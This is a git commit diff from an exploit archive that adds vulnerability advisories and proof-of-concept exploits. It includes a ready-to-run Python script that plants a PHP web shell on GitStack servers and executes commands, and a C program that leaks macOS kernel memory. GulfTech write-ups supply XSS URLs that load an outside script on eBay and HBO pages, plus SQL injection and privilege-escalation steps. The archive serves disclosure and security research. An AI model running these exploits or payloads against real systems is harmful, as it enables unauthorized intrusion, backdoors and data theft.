DB: 2018-01-20
62 changes to exploits/shellcodes macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability' Peercast < 0.1211 - Format String Trillian Pro < 2.01 - Design Error dbPowerAmp < 2.0/10.0 - Buffer Overflow PsychoStats < 2.2.4 Beta - Cross Site Scripting MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution GitStack 2.3.10 - Unauthenticated Remote Code Execution Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection (PoC) Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC) Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities DUWare Multiple Products - Multiple Vulnerabilities AutoRank PHP < 2.0.4 - SQL Injection (PoC) ASPapp Multiple Products - Multiple Vulnerabilities osCommerce < 2.2-MS2 - Multiple Vulnerabilities PostNuke < 0.726 Phoenix - Multiple Vulnerabilities MetaDot < 5.6.5.4b5 - Multiple Vulnerabilities phpGedView < 2.65 beta 5 - Multiple Vulnerabilities phpShop < 0.6.1-b - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3 - SQL Injection phpBB < 2.0.6d - Cross Site Scripting Phorum < 5.0.3 Beta - Cross Site Scripting vBulletin < 3.0.0 RC4 - Cross Site Scripting Mambo < 4.5 - Multiple Vulnerabilities phpBB < 2.0.7a - Multiple Vulnerabilities Invision Power Top Site List < 1.1 RC 2 - SQL Injection Invision Gallery < 1.0.1 - SQL Injection PhotoPost < 4.6 - Multiple Vulnerabilities TikiWiki < 1.8.1 - Multiple Vulnerabilities phpBugTracker < 0.9.1 - Multiple Vulnerabilities OpenBB < 1.0.6 - Multiple Vulnerabilities PHPX < 3.26 - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3.1 - Design Error HelpCenter Live! < 1.2.7 - Multiple Vulnerabilities LiveWorld Multiple Products - Cross Site Scripting WHM.AutoPilot < 2.4.6.5 - Multiple Vulnerabilities PHP-Calendar < 0.10.1 - Arbitrary File Inclusion PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities ReviewPost < 2.84 - Multiple Vulnerabilities PhotoPost < 4.85 - Multiple Vulnerabilities AZBB < 1.0.07d - Multiple Vulnerabilities Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities Burning Board < 2.3.1 - SQL Injection XOOPS < 2.0.11 - Multiple Vulnerabilities PEAR XML_RPC < 1.3.0 - Remote Code Execution PHPXMLRPC < 1.1 - Remote Code Execution SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite XPCOM - Race Condition ADOdb < 4.71 - Cross Site Scripting Geeklog < 1.4.0 - Multiple Vulnerabilities PEAR LiveUser < 0.16.8 - Arbitrary File Access Mambo < 4.5.3h - Multiple Vulnerabilities phpRPC < 0.7 - Remote Code Execution Gallery 2 < 2.0.2 - Multiple Vulnerabilities PHPLib < 7.4 - SQL Injection SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite CubeCart < 3.0.12 - Multiple Vulnerabilities Claroline < 1.7.7 - Arbitrary File Inclusion X-Cart < 4.1.3 - Arbitrary Variable Overwrite Mambo < 4.5.4 - SQL Injection Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities D-Link DNS-343 ShareCenter < 1.05 - Command Injection D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)
This commit is contained in:
parent
8a2e4ff27a
commit
bfebc3fa5a
64 changed files with 4748 additions and 1 deletions
55
exploits/asp/webapps/43788.txt
Normal file
55
exploits/asp/webapps/43788.txt
Normal file
|
@ -0,0 +1,55 @@
|
|||
DUWare Multiple Vulnerabilities
|
||||
|
||||
Vendor: DUWare
|
||||
Product: DUWare
|
||||
Version: Multiple Products
|
||||
Website: http://www.duware.com/
|
||||
|
||||
BID: 9246
|
||||
|
||||
Description:
|
||||
DUportal Pro is a professional Web portal and online community. DUportal Pro contains numerous advanced features such as Web-based administration, Articles, Banner Ads, Event Calendar, Classified Ads, Web link directory, Downloads, Entertainment, Message Board, Picture Gallery, News, E-Commerce, Members Directory, Polls and Business Directory, and more which can be downloaded online. All modules are customizable via Web-based Admin panel, together with size, skins and themes.
|
||||
|
||||
Problem:
|
||||
Basically almost all, if not ALL of the products offered by DU Ware (www.duware.com) seem to have been done with an extremely minimal understanding and/or concern of security, and very important aspects of web security such as, but not limited to: Unique Session ID's, Input Validation, and many more. Their software relies HEAVILY on hidden tags, client side input validation, and security through obscurity. Examples of some of the consequences of this weakly implemented/nonexistent security are Script Execution, Arbitrary File Upload, Account Hijacking, Database Exposure, Query Tampering, Code Injection and Server Compromise.
|
||||
|
||||
Remote File Upload:
|
||||
Pretty much anywhere there are places to upload a picture, or file on DUPortal you can upload a script, or file of your liking. The only limits really are size. The only requirement to exploit this vulnerability is a web browser. Simply save the page to your hard drive, edit out all the client side validation and an attacker may upload any file they wish. This can allow for script execution on the host machine as well as host compromise.
|
||||
|
||||
Script Execution:
|
||||
Script execution in DU Software Products can take place in a number of ways. The most serious of these is by using the previously mentioned file upload vulnerability to upload any script of your liking. Using that particular method it is obviously not very hard to compromise the security of the entire host. Another way is by injecting script into items that have to be approved by the administrator of the portal. This can also be manipulated by tampering with the hidden form value by the name of "APPROVED". If the item you add requires approval by the administrator, then any code you inject into a particular item will be executed by the administrator unknowingly, thus allowing an attacker to carry out administrative functions via the admin. It is also possible for a user to inject script into their username value, as well as other components and have it executed in the browsers of the portals visitors.
|
||||
|
||||
Account HiJacking:
|
||||
Having an administrator execute commands and script for an attacker can be bad news, but needless to say it is even worse when an attacker can take over the administrative account, or any other account at will. This is not hard to do and only requires a browser and text editor to execute. Because DU Portal assigns no specific user session id, and relies on hidden fields to change information, it is simple to reset the password of ANY account in the DU Portal database. It is also possible to tamper with cookie data, and gain limited access to arbitrary accounts.
|
||||
|
||||
Privilege Escalation:
|
||||
When registering an account on a DU Portal installation, a malicious user is able to set themselves to any user level they like by altering the hidden form field value for "U_ACCESS" It is initially set to user, but anyone with a text editor and web browser can change this to admin.
|
||||
|
||||
Query Tampering:
|
||||
There is little input validation and/or sanitization in DU Portal, so tampering with database queries is not a difficult task. Below are a list of the affected components.
|
||||
|
||||
search.asp
|
||||
password.asp
|
||||
channel.asp
|
||||
register.asp
|
||||
type.asp
|
||||
detail.asp
|
||||
post.asp
|
||||
submit.asp
|
||||
|
||||
This may not be all of them, but it should be most of them. Hopefully the list above will be incentive enough for the developer to secure all of the portal's components, including any not previously mentioned.
|
||||
|
||||
Hidden Form Field Weakness: As I have mentioned before, this portal system relies HEAVILY on client side validation and especially on hidden form fields/values. By saving any number of pages of a DU Portal an editing an attacker can manipulate much data. Examples include but are not limited to: Administrative Action, Impersonating Other Users, Changing Shop Prices, Account Hi Jacking, and much more.
|
||||
|
||||
Plain Text And Database Disclosure Weakness:
|
||||
No passwords in the DU Portal database are encrypted. They are also shown in plain text in the admin panel. This is a problem because it can be used by an attacker or malicious administrator to compromise the integrity of users that have a bad habit of using the same password everywhere. The database by default is also available for download at the following location
|
||||
|
||||
http://localhost/database/DUportal.mdb
|
||||
|
||||
This can be avoided however by setting the proper permissions for the directory in which the database is located in or better yet move the entire database to an offline directory.
|
||||
|
||||
Conclusion:
|
||||
DU Ware offers a large variety of products, and most if not all are bundled into what is "DU Portal" so most of these vulns are present in all of their products. While they may be easy to set up and offer decent functionability it is advised not to install them until the vendor can implement better security into their products. The vendor was contacted, but does not plan on releasing any security patches for these issues. However they do plan to secure their applications in their products next version release.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
32
exploits/asp/webapps/43793.txt
Normal file
32
exploits/asp/webapps/43793.txt
Normal file
|
@ -0,0 +1,32 @@
|
|||
ASPapp Multiple Vulnerabilities
|
||||
|
||||
Vendor: ASPapp.com
|
||||
Product: ASPapp
|
||||
Version: Multple Products
|
||||
Website: http://www.aspapp.com/
|
||||
|
||||
BID: 9250
|
||||
|
||||
Description:
|
||||
A complete, easy-to-modify .asp portal system. With this portal you can manage users, content, links, files, forums, surveys, product catalog, shopping cart, PayPal or Authorize.net e-commerce, classifieds, calendar, downloads, images, surveys, faq's, news, and more. Currently it is one of the most popular .ASP scripts at HotScripts.com The below vulnerabilities also affect IntranetApp and ProjectApp, as the codebase is almost identical.
|
||||
|
||||
Privilege Escalation Vulnerability:
|
||||
When registering account a malicious user can set themselves to any user level they desire. The user level is determined by a hidden form field value titled "accesslevel". If a user sets themselves to the "Super Admin" level [4] they can pretty much take over the entire portal. They can also view other user's passes in plaintext via the "User Admin" feature by viewing the HTML source. This does not seem to be present in IntranetApp, but is present in PortalApp and ProjectApp.
|
||||
|
||||
Account Hijacking Vulnerability:
|
||||
Once again ASP App software relies on hidden form fields to determine user values. By changing the "user_id" field when editing their profile a malicious user can reset passwords for arbitrary accounts and edit their user info etc. This is present in all three applications.
|
||||
|
||||
Cross Site Scripting:
|
||||
XSS is possible on any page of an ASP APP Portal by appending the variable "msg" with a value of any script you would like to be run. This vulnerability also exists in all 3 applications.
|
||||
|
||||
Code Injection Vulnerabilities:
|
||||
There are a number of places to inject code and have it run by a user or an admin. These include but are not limited to the following. Injection vulnerabilities exist in forums.asp When posting a new message, script can be injected into the Title and into the message form fields. This is especially dangerous because the latest messages are posted on the main page of the website, therefore affecting all users. An Injection vulnerability exists in submit.asp. A malicious user can submit script instead of a link to be added to the website. This vuln affects the administrator when he prepares to accept or deny submissions. Injection vulnerabilities are present in the profile section of the website. By submitting script into the for fields of upd_user.asp (the profile update form) it will be run whenever someone views the affected profile.(user_public.asp) The form fields that are vulnerable are First Name, Last Name and Country. This vuln exists in all three of the previously mentioned ASP APP scripts.
|
||||
|
||||
Plaintext Password Storage Weakness:
|
||||
The username and password for the logged in user are stored as plaintext in the cookie, making cookie theft through an xss vuln even more dangerous. Also, a malicious admin can view a users password in plaintext by visiting the user administration page, and viewing the HTML source of a user. The users password will then be presented in plaintext. This vuln exists in all three of the previously mentioned ASP APP scripts.
|
||||
|
||||
Solution:
|
||||
The vendor plans on releasing a new version of these products at the end of the month to supposedly correct all of the security issues mentioned above.
|
||||
|
||||
Credits:
|
||||
James Bercegay And parag0d of the GulfTech Security Research Team.
|
42
exploits/asp/webapps/43815.txt
Normal file
42
exploits/asp/webapps/43815.txt
Normal file
|
@ -0,0 +1,42 @@
|
|||
LiveWorld Cross Site Scripting
|
||||
|
||||
Vendor: LiveWorld, Inc
|
||||
Product: LiveWorld
|
||||
Version: Multiple Products
|
||||
Website: http://www.liveworld.com
|
||||
|
||||
CVE: CVE-2004-2566
|
||||
OSVDB: 9180
|
||||
PACKETSTORM: 34143
|
||||
|
||||
Description:
|
||||
LiveWorld provides collaborative services for online meetings, customer care, and loyalty marketing. Supporting communication between a company and its customers, employees, or partners and among those people themselves - our services help corpor- ations cut costs, increase revenue, and solidify relationships with groups critical to their success. LiveWorld products are used on major websites such as HBO, and eBay
|
||||
|
||||
Cross Site Scripting:
|
||||
GulfTech Security Research have discovered Cross Site Scripting issues that are believed to be present in multiple LiveWorld Inc products such as LiveForum, LiveQ&A, LiveChat and LiveFocusGroup. It is also a good possibility that this issue exists in other LiveWorld products as they "seem" to share some of the same code. If you believe this to be incorrect, or have proof of it being 100% accurate then please let us know. These issues could allow for an attacker to run code in the context of a victims browser or temporarily deface a website that is running any of the affected applications.
|
||||
|
||||
Proof of Concept:
|
||||
I have done my best to contact LiveWorld, and eBay. As of the time I am writing this, the holes are not patched, and these examples work. However this may not be the case when this write up becomes public. Please note that these URI's are wrapped for the sake of readability.
|
||||
|
||||
http://answercenter.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D
|
||||
%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript
|
||||
%3E%3C%21--%3C%21--
|
||||
|
||||
http://groups.ebay.com/findclub!execute.jspa?q=%22%3E%3Cscript+s
|
||||
rc%3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fs
|
||||
cript%3E%3C%21--%3C%21--
|
||||
|
||||
http://forums.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D%22htt
|
||||
p%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript%3E
|
||||
|
||||
http://boards.hbo.com/search!execute.jspa?q=%22%3E%3Cscript+src%
|
||||
3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscri
|
||||
pt%3E%3C%21--%3C%21--
|
||||
|
||||
These examples simply print the GulfTech name to the browser, but this could just as easily be a spoofed form, or a malicious script.
|
||||
|
||||
Solution:
|
||||
LiveWorld Inc were contacted about these issues, but have not yet responded. Hopefully they will see this report and fix the issues :) Any future fix will likely be posted on their website.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
102
exploits/macos/dos/43780.c
Normal file
102
exploits/macos/dos/43780.c
Normal file
|
@ -0,0 +1,102 @@
|
|||
/*
|
||||
AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
|
||||
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
|
||||
|
||||
There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
|
||||
kernel memory:
|
||||
|
||||
__text:000000000002ACE0 mov eax, [rbx] ; structure input buffer
|
||||
__text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h] ; rax is controlled -> rsi read OOB
|
||||
__text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0 ; as long as this byte isn't NULL
|
||||
__text:000000000002ACF1 jz short loc_2AD10
|
||||
__text:000000000002ACF3 add rsi, 1E11h ; void * ; add this offset
|
||||
__text:000000000002ACFA mov edx, 1D8h ; size_t
|
||||
__text:000000000002ACFF mov rdi, r14 ; void *
|
||||
__text:000000000002AD02 call _memcpy ; copy to structure output buffer, will be returned to userspace
|
||||
|
||||
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
// build: clang -o capri_display_pipe capri_display_pipe.c -framework IOKit
|
||||
|
||||
#if 0
|
||||
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
|
||||
|
||||
AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
|
||||
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
|
||||
|
||||
There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
|
||||
kernel memory:
|
||||
|
||||
__text:000000000002ACE0 mov eax, [rbx] ; structure input buffer
|
||||
__text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h] ; rax is controlled -> rsi read OOB
|
||||
__text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0 ; as long as this byte isn't NULL
|
||||
__text:000000000002ACF1 jz short loc_2AD10
|
||||
__text:000000000002ACF3 add rsi, 1E11h ; void * ; add this offset
|
||||
__text:000000000002ACFA mov edx, 1D8h ; size_t
|
||||
__text:000000000002ACFF mov rdi, r14 ; void *
|
||||
__text:000000000002AD02 call _memcpy ; copy to structure output buffer, will be returned to userspace
|
||||
|
||||
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint64_t inputScalarCnt = 0;
|
||||
|
||||
char inputStruct[4096];
|
||||
size_t inputStructCnt = 8;
|
||||
*(uint64_t*)inputStruct = 0x12345678; // crash
|
||||
//*(uint64_t*)inputStruct = 0x37; // disclose kernel heap memory
|
||||
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 4096;
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
conn,
|
||||
0x710,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
if (outputStructCnt > 20) {
|
||||
int n_leaked_ptrs = (outputStructCnt-7)/8;
|
||||
uint64_t* ptrs = (uint64_t*) (outputStruct+7);
|
||||
for (int i = 0; i < n_leaked_ptrs; i++) {
|
||||
printf("%016llx\n", ptrs[i]);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
81
exploits/perl/webapps/43796.txt
Normal file
81
exploits/perl/webapps/43796.txt
Normal file
|
@ -0,0 +1,81 @@
|
|||
MetaDot Multiple Vulnerabilities
|
||||
|
||||
Vendor: Metadot Corporation
|
||||
Product: MetaDot
|
||||
Version: <= 5.6.5.4b5
|
||||
Website: http://www.metadot.com/
|
||||
|
||||
BID: 9439
|
||||
|
||||
Description:
|
||||
Metadot is a popular open source portal software (GPL) recognized for its revolutionary ease-of-use. It provides content management like file, page and link management, collaboration features like discussion forums and polls and personalization like My Yahoo. It is powered by Perl && MySQL. Users range from home users to government, banks, universities and even NASA ;)
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
It may be possible for an attacker to influence SQL queries by passing unexpected data to certain variables including the "id" and "key" variable. Even if an attacker is not successful with influencing an SQL query he can cause the outputted error message to execute script into an unsuspecting users browser thus causing a Cross Site Scripting attack. Also, the SQL error messages reveal a great deal of data about the server. Below is an example error message. The URI used to create this error was index.pl?isa=Session&op=auto_login&new_user=&key='[Problem]
|
||||
sqlSelect: SQL statement:
|
||||
|
||||
SELECT userid, lastonline, sessioninfo FROM sessions WHERE sessionid=''[Problem]'
|
||||
Error: You have an error in your SQL syntax near '[Problem]' ' at line 1 at
|
||||
/home/sharem/metadot/metadot/index.pl
|
||||
|
||||
DBAccess::DBIObj::sqlSelect('DBAccess::MySQL=HASH(0x85de6a8)', 'userid, lastonline,
|
||||
sessioninfo', 'sessions', 'sessionid=\'\'[Problem]\'') called at
|
||||
/home/sharem/metadot/metadot/DBAccess.pm line 129 DBAccess::sqlSelect('DBAccess',
|
||||
'userid, lastonline, sessioninfo', 'sessions', 'sessionid=\'\'[Problem]\'') called at
|
||||
/home/sharem/metadot/metadot/Session.pm line 508 Session::_initialize('Session=HASH(0xb1be85c)',
|
||||
'\'[Problem]') called at /home/sharem/metadot/metadot/Session.pm line 161
|
||||
Session::restore('Session', '\'[Problem]') called at
|
||||
/home/sharem/metadot/metadot/Metadot/SessionHandler/CookieSessionHandler.pm line 97
|
||||
Metadot::SessionHandler::CookieSessionHandler::restore_session('Metadot::SessionHandler::
|
||||
CookieSessionHandler=HASH(0x8c443f8)', '\'[Problem]')called at
|
||||
/home/sharem/metadot/metadot/Metadot/ Authenticator.pm line 63
|
||||
Metadot::Authenticator::authenticate('Metadot::Authenticator::UserPassAuthenticator
|
||||
=HASH(0x9d34338)') called at /home/sharem/metadot/metadot/Portal.pm line 3863
|
||||
Portal::_web_init('Portal =HASH(0xb4c271c)') called at
|
||||
/home/sharem/metadot/metadot/Metadot/Implementations/Portal/Default.pm line 52
|
||||
Metadot::Implementations::Portal::Default::initialize('Metadot::Implementations::Portal::Default',
|
||||
'Portal =HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Portal.pm line 2830
|
||||
Portal::_initialize('Portal =HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Portal.pm
|
||||
line 160 Portal::new('Portal', 1) called at /home/sharem/metadot/metadot/index.pl line 43
|
||||
Apache::ROOT::metadot::index_2epl::handler('Apache=SCALAR (0xb421470)') called at
|
||||
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149 eval {...} called at
|
||||
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149 Apache::Registry
|
||||
::handler('Apache=SCALAR(0xb421470)') called at /dev/null line 0 eval {...} called at /dev/null
|
||||
line 0
|
||||
Below are some examples URI's that will allow an attacker to influence queries, gather info or XSS.
|
||||
|
||||
/index.pl?id=[Evil_Query]
|
||||
/index.pl?iid=[Evil_Query]
|
||||
/index.pl?isa=Session&op=auto_login&new_user=&key=[Evil_Query]
|
||||
|
||||
Information And Path Disclosure:
|
||||
There is a great deal of information given up by interrupting the SQL query, but can also be caused in other ways than the previously mentioned. Lets look at /index.pl?iid=[ValidID]&isa=Discussion&op= Where [ValidID] is should be a valid id number such as 1000 or whatever it may be.
|
||||
Software error: must provide operation name at
|
||||
/home/sharem/metadot/metadot/Auditable.pm line
|
||||
196 Auditable::is_allowed_to_do('Discussion=HASH
|
||||
(0xae19218)', '', 'Metadot::User::FlexUser=HASH
|
||||
(0xb414f70)', 1) called at
|
||||
/home/sharem/metadot/metadot/index.pl line 232
|
||||
Apache::ROOT::metadot::index_2epl::handler
|
||||
('Apache=SCALAR(0xacf893c)') called at
|
||||
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm
|
||||
line 149 eval {...} called at
|
||||
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm
|
||||
line 149 Apache::Registry::handler('Apache=SCALAR(0xacf893c)')
|
||||
called at /dev/null line 0 eval {...} called at /dev/null line 0
|
||||
As you can see that will give you the server path, perl version and several other interesting bits of information. Path can also be disclosed by a bogus value in the "isa" variable. /index.pl?isa=blah
|
||||
|
||||
Cross Site Scripting:
|
||||
Cross Site Scripting: There are a number of potential cross site scripting issues in MetaDot. Below are some examples
|
||||
|
||||
/index.pl?isa=XSS<iframe%20src=http://www.gulftech.org>
|
||||
/userchannel.pl?id=435&isa=NewsChannel&redirect=1&op="><iframe>
|
||||
/index.pl?iid='"><iframe%20src=http://www.gulftech.org>
|
||||
|
||||
Solution:
|
||||
The MetaDot team have addressed this issue and an update was supposed to be released on Thursday the 8th of January. Users of the MetaDot portal system are encouraged to upgrade immediately. Users can get the necessary security fixes provided by MetaDot Corporation at the link below.
|
||||
|
||||
http://www.metadot.com/metadot/index.pl?iid=2632&isa=Category
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
98
exploits/php/webapps/43777.py
Executable file
98
exploits/php/webapps/43777.py
Executable file
|
@ -0,0 +1,98 @@
|
|||
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
|
||||
# Date: 18.01.2018
|
||||
# Software Link: https://gitstack.com/
|
||||
# Exploit Author: Kacper Szurek
|
||||
# Contact: https://twitter.com/KacperSzurek
|
||||
# Website: https://security.szurek.pl/
|
||||
# Category: remote
|
||||
#
|
||||
#1. Description
|
||||
#
|
||||
#$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
|
||||
#
|
||||
#https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
|
||||
#
|
||||
#2. Proof of Concept
|
||||
#
|
||||
import requests
|
||||
from requests.auth import HTTPBasicAuth
|
||||
import os
|
||||
import sys
|
||||
|
||||
ip = '192.168.1.102'
|
||||
|
||||
# What command you want to execute
|
||||
command = "whoami"
|
||||
|
||||
repository = 'rce'
|
||||
username = 'rce'
|
||||
password = 'rce'
|
||||
csrf_token = 'token'
|
||||
|
||||
user_list = []
|
||||
|
||||
print "[+] Get user list"
|
||||
try:
|
||||
r = requests.get("http://{}/rest/user/".format(ip))
|
||||
user_list = r.json()
|
||||
user_list.remove('everyone')
|
||||
except:
|
||||
pass
|
||||
|
||||
if len(user_list) > 0:
|
||||
username = user_list[0]
|
||||
print "[+] Found user {}".format(username)
|
||||
else:
|
||||
r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
|
||||
print "[+] Create user"
|
||||
|
||||
if not "User created" in r.text and not "User already exist" in r.text:
|
||||
print "[-] Cannot create user"
|
||||
os._exit(0)
|
||||
|
||||
r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
|
||||
if "true" in r.text:
|
||||
print "[+] Web repository already enabled"
|
||||
else:
|
||||
print "[+] Enable web repository"
|
||||
r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
|
||||
if not "Web interface successfully enabled" in r.text:
|
||||
print "[-] Cannot enable web interface"
|
||||
os._exit(0)
|
||||
|
||||
print "[+] Get repositories list"
|
||||
r = requests.get("http://{}/rest/repository/".format(ip))
|
||||
repository_list = r.json()
|
||||
|
||||
if len(repository_list) > 0:
|
||||
repository = repository_list[0]['name']
|
||||
print "[+] Found repository {}".format(repository)
|
||||
else:
|
||||
print "[+] Create repository"
|
||||
|
||||
r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
|
||||
if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
|
||||
print "[-] Cannot create repository"
|
||||
os._exit(0)
|
||||
|
||||
print "[+] Add user to repository"
|
||||
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))
|
||||
|
||||
if not "added to" in r.text and not "has already" in r.text:
|
||||
print "[-] Cannot add user to repository"
|
||||
os._exit(0)
|
||||
|
||||
print "[+] Disable access for anyone"
|
||||
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))
|
||||
|
||||
if not "everyone removed from rce" in r.text and not "not in list" in r.text:
|
||||
print "[-] Cannot remove access for anyone"
|
||||
os._exit(0)
|
||||
|
||||
print "[+] Create backdoor in PHP"
|
||||
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php'))
|
||||
print r.text.encode(sys.stdout.encoding, errors='replace')
|
||||
|
||||
print "[+] Execute command"
|
||||
r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
|
||||
print r.text.encode(sys.stdout.encoding, errors='replace')
|
42
exploits/php/webapps/43789.txt
Normal file
42
exploits/php/webapps/43789.txt
Normal file
|
@ -0,0 +1,42 @@
|
|||
Invision Power Top Site List SQL Injection
|
||||
|
||||
Vendor: Invision Power Services
|
||||
Product: Invision Power Top Site List
|
||||
Version: <= 2.0 Alpha 3
|
||||
Website: http://www.invisionpower.com/
|
||||
|
||||
BID: 9229
|
||||
|
||||
Description:
|
||||
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface.
|
||||
|
||||
Problem:
|
||||
Invision Power Top Site List is vulnerable to an SQL injection vuln due to not properly sanitizing user input via the "offset" parameter. However, it may be very difficult to exploit this vuln. Compromise.
|
||||
|
||||
Details:
|
||||
The following GET request will trigger the SQL query syntax error ..
|
||||
|
||||
index.php?offset=[%20Problem%20Here%20]
|
||||
Error: Error executing query
|
||||
|
||||
The software returned the following error:
|
||||
|
||||
You have an error in your SQL syntax near '[ Problem Here ],20' at line 14
|
||||
|
||||
Query Executed: SELECT s.*,COUNT(DISTINCT c.id) as comment_count, AVG(v.value)
|
||||
as rating,COUNT(DISTINCT v.id) as num_votes,COUNT(DISTINCT me.id) as already_voted
|
||||
FROM tsl_sites AS s, tsl_users AS u, tsl_emails AS e LEFT JOIN tsl_categories AS
|
||||
cat ON cat.id = s.category LEFT JOIN tsl_votes AS v ON v.site = s.id LEFT JOIN
|
||||
tsl_ip_address AS ipa ON ipa.address = "24.119.123.100" LEFT JOIN tsl_ip_records
|
||||
AS ipr ON ipr.id = ipa.record LEFT JOIN tsl_votes AS me ON me.site =
|
||||
s.id && me.ip_record = ipr.id LEFT JOIN tsl_comments AS c ON c.site = s.id &&
|
||||
c.admin_validate = 1 WHERE s.user = u.id && s.email = e.id && u.blocked = 0 &&
|
||||
s.active = 1 && s.admin_validate = 1 && e.validated = 1 GROUP BY s.id ORDER BY
|
||||
out_count DESC, rating DESC, in_count DESC, name DESC LIMIT [ Problem Here ],20
|
||||
|
||||
|
||||
Solution:
|
||||
The Invision Team was very prompt and professional in getting back to me about this. Because of the difficulty of exploitation there will be no patch or immediate upgrade released. However the issue will be addressed in the next release of Invision Top Sites List.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
35
exploits/php/webapps/43790.txt
Normal file
35
exploits/php/webapps/43790.txt
Normal file
|
@ -0,0 +1,35 @@
|
|||
IP.Board SQL Injection
|
||||
|
||||
Vendor: Invision Power Services
|
||||
Product: IP.Board
|
||||
Version: <= 2.0 Alpha 3
|
||||
Website: http://www.invisionboard.com/
|
||||
|
||||
BID: 9232
|
||||
|
||||
Description:
|
||||
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world.
|
||||
|
||||
Problem:
|
||||
